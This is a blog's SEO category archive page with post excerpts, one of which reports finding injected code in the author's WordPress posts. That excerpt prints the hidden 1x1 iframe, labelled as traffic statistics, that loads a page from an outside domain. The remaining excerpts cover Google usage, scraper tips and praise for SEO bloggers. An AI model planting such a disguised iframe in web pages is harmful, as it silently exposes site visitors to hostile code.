Archive for the ‘SEO’ Category

Nice Exploit Code I Found in my Wordpress

I was going through some old posts just now, and discovered this little treat embedded in a post:

<!– Traffic Statistics –>
<iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!– End Traffic Statistics –>

The code that it’s loading (I know it doesn’t wrap, I don’t really care.) Code deleted. Thanks to Mike Peters for the follow-up in the [...]

How much would you pay to use Google?

I got to thinking about how much I use Google to answer questions the other day. My search activity calendar looks like this every month:

Even between Jan 1-3 when I was in Vegas I did 1-3 searches. Some months are even more heavy than this. So how much would I pay? [...]

Tips on Writing a Scraper

A couple weeks ago I got an email from a friend asking for some tips on writing a scraper. As I was responding, I realized it would make a good post. I think writing scrapers is one of my specialties, and I’ve yet to come across a site I haven’t been able [...]

Props Week: Friday - Chris Winfield/10e20

To be honest I wasn’t sure who I was going to give props to today. As I was firing off some emails and IMs it occurred to me. Chris Winfield has been one of the most gracious, coolest people I’ve met in the industry since the first time I met him. I [...]

Props Week: Wednesday - SEOBlackHat

I’ve always liked Quadszilla over at SEO Black Hat, and some of his most recent posts are really good. This particular post is a great method for building a new habit. I use the exact same technique for keeping track of my cardio workouts. I’m really consistent with lifting, but cardio is [...]